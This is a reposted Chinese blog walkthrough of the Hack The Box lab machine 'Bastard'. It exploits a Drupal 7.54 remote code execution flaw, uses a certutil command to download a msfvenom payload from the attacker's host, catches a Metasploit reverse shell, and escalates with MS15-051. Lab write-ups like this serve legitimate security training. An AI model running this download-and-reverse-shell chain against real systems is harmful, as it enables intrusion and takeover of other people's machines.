HTB靶场记录之Bastard

HTB靶场记录之Bastard

1、靶机介绍

这次的靶机是Bastard。

2、信息收集

由于autorecon的速度比较慢,这里直接nmap -sC(默认脚本) -sS(快速扫描)过一下,80端口有个Drupal 7的标题,Drupal是个CMS具体的版本信息可以查看/CHANGELOG.txt。

首先确保这个80端口能正常访问

其次我们跟进一下可以看到版本为7.54

3、搜索payload,getshell前的准备

首先我们肯定是用searchsploit查看漏洞版本信息,而版本为7.54的话最好使用Drupal 7.x Module Services -RemoteCode Execution,这个通杀漏洞,不过这个我使用失败了。

这里上网找了一下有一个相关的Drupal的RCE漏洞的CVE编号,并且有很多不同的payload。

在github上找了一下下载链接在附件,或者是直接上GitHub上漏洞编号就行了。

看了一下是python3的格式,并需要安装好以下的库才能顺利执行。

4、getshell进行中

此时直接一个python 文件名 -cwhoami成功执行。

或者是dir可列出当前目录下的文件名,并指导当前目录为C:\inetpub\drupal-7.54。

那目前的想法是创建一个新目录,然后生成恶意文件传上去一个运行接收shell回来(建议最好创建一个文件夹,用powershell 的远程传文件python表示传输成功,但不知道把文件传到哪了)。首先使用mkdir创建一个cunfang文件夹先:

关于传文件这里在网上找了一下,还有一个CertUtil.exe的内置程序方便点,格式为: certutil.exe -urlcache -split -f http://ip:端口/文件名。

此时顺便用msfVENOM生成一个.exe的马

用刚才的payload用certutil.exe-urlcache -split -f
http://10.10.14.5:8080/makabaka.exe把文件传上去(这里的ip是开了python共享模式的kali IP)

此时打开我们的MSF使用exploit/multi/handler经典模块,设置好kali的IP和端口顺便把payload设置为
windows/x64/shell/reverse_tcp以后使用run开始监听。

此时用回payload 远程执行,如上图所示直接接收shell成功。

这里拿到user的flag

5、提权

提权我打算用MSF的自带提权payload,然而连脚本也可以区分欧皇和非酋了。

这里我为了多一个shell控制以防卡死再生成一个shell。

用上面的方法添加多一个shell出来,出现meterpreter就是代表成功。

先使用background退出去,注意看session,然后使用
post/multi/recon/local_exploit_suggester模块,设置好session以后run,跟大佬一起做。

他是30个exploit check,我是20个还顺便对比了一下他扫的东西比我多。

再扫一次MSF直接崩了。

无果可以根据systeminfo可知,这是windows 2008 R2,可以使用大杀器MS15-051针对Windows Server 2008 R2。

可以理解为49298大杀器通杀之前的靶机。

这里要到github上搜一下下载,然后用同样的方法certutil.exe传上去。

此时一波.exe whoami执行成功。

但是,这时能变换最高权限只有在运行.exe +命令的情况下才行:

所以我把shell.exe之前生成的恶意文件拿出来,再用MSF监听。

此时,真正变为管理员能爬到管理员那里拿root的flag。

HTB靶场记录之Bastard

以上为今天分享的内容,小伙伴们看懂了吗?

Original: https://www.cnblogs.com/ichunqiu/p/15955931.html
Author: i春秋
Title: HTB靶场记录之Bastard

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/551927/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • html大文件传输方案

    我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用。 首先我们需要了解的是上传文件三要素: 1.表单提交方式:post (…

    技术杂谈 2023年5月30日
    074
  • 使用VisualVM 进行性能分析及调优

    概述 开发大型 Java 应用程序的过程中难免遇到内存泄露、性能瓶颈等问题,比如文件、网络、数据库的连接未释放,未优化的算法等。随着应用程序的持续运行,可能会造成整个系统运行效率下…

    技术杂谈 2023年5月31日
    0101
  • Uri: getLastPathSegment()

    该函数可用于截取URI当中的文件名。比如一段 URI如下: content://media/external/file/61585 调用该函数得到的结果为: 61585 也就是简化…

    技术杂谈 2023年6月1日
    097
  • 自己动手,打造轻量级VSCode/C#环境代替LinqPad

    .Net 的项目都挺重的,一直想找一个轻量级的 CSharp 环境,能像Python那样,选一个文件就能跑的。之前用的是 LinqPad,但它的缺点也很明显: (1) 不付费,自动…

    技术杂谈 2023年6月1日
    083
  • 一次打包引发的思考,原来maven还能这么玩?

    前言 依赖关系 你会怎么做? 必知的几个参数 总结 昨天有一个读者找我的交流工作心得,偶然间提到一个有趣的问题,如下: 「 大致的意思」:公司最近在整 多&a…

    技术杂谈 2023年7月23日
    065
  • 浏览器上写代码,4核8G微软服务器免费用,Codespaces真香

    欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 一图胜千言 先上图,下面是欣宸在自…

    技术杂谈 2023年7月11日
    082
  • Java是一门强类型语言

    数据类型 语言类型 强类型语言 要求变量的使用要严格符合规定,所有变量都必须先定义后才能使用 弱类型语言 java的数据类型 1 基本类型(primitive type)2 引用类…

    技术杂谈 2023年6月21日
    083
  • 苞米面C++模板库介绍

    苞米面 C++ 模板库,无需编译,直接包含头文件就可以。所有模板类和算法都包含在 bmm 名字空间里,例如: bmm::recent。需要 C++ 编译器,支持 C++17 标准,…

    技术杂谈 2023年7月23日
    070
  • SpringMVC实战入门教程,四天带你快速搞定springmvc框架

    SpringMVC 也叫Spring web mvc。是Spring 框架的一部分,是在Spring3.0 后发布的。 这里对SpringMVC框架进行一个简单的介绍: sprin…

    技术杂谈 2023年7月25日
    088
  • Java复习,Java知识点以及Java面试题(四)

    集合框架: 集合只用于存储对象,集合长度是可变的,集合可以存储不同类型的对象。 Collection 集合的顶层接口 Collection 方法概述: 添加 boolean add…

    技术杂谈 2023年6月21日
    0106
  • Delphi 如何让程序获取权限结束指定进程?

    补充: 还有这个`不知道哪个能用的~ unit Tlhelp323; interface usesWindows,SysUtils,Tlhelp32; function KillT…

    技术杂谈 2023年5月31日
    096
  • 线程池开关与搭建的那些事

    博主今天在练习的时候遇到了一个问题: 自己搭建的线程池在运行到 join 阻塞方法中就卡着不动了,而在这之前的代码都可以运行成功。如图: 要说如果报了个错,我还能有地方使劲,这直接…

    技术杂谈 2023年7月11日
    083
  • nodejs读写yaml

    nodejs读写yaml npm install -g js-yaml // read.js const fs = require(‘fs’); const yaml = requ…

    技术杂谈 2023年5月31日
    091
  • 前端基础知识

    一、创建函数 函数声明 function fnName(){ } 函数表达式 var fnName = function(){ } 使用Function构造函数 【ES6】箭头函数…

    技术杂谈 2023年5月31日
    090
  • 关于极限分割

    科学诸多的思潮都是由哲学引发的,当然,我说的是真正的哲学. 以前,我们探索过关于芝诺悖论问题的一些证明,继续,我们再来深入探索下极限分割的一些思想. 芝诺悖论采用了一种无限分割空间…

    技术杂谈 2023年5月31日
    096
  • SpringBoot-Redis

    SpringBoot 整合 Redis SpringBoot-Redis 15.1 导入相关依赖 org.springframework.boot spring-boot-star…

    技术杂谈 2023年6月21日
    086
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球